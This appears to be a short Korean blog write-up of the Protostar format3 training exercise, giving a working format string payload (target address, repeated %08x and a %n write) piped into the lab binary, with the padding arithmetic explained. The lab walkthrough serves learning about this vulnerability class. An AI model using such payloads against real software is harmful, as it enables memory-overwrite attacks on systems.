시스템
protostar format3
wtdsoul
2025. 1. 30. 20:04
https://blog.naver.com/seongjin0526/221330979343?trackingCode=rss
exploit-exercises protostar format3
(gdb) info fun All defined functions: File format3/format3.c: int main(int, char **); void printbu...
blog.naver.com
(python -c 'print "AAAA"+".%8x"*12') | ./format3
(python -c 'print "\xf4\x96\x04\x08" + "%08x" * 10 + "%16930032x%n"') | ./format3
변경해야하는 값0x0102554는 10진수로 16930116 이다.
페이로드는 target 주소 + %08x * 10 + %16,930,032x%n
16930032는 target주소와 포맷 공백은 84를 빼준 값
앞에있는 84와 16930032가 더해져 16930116이 되어 16진수값 0x0102554가 target주소에 값이 들어간다.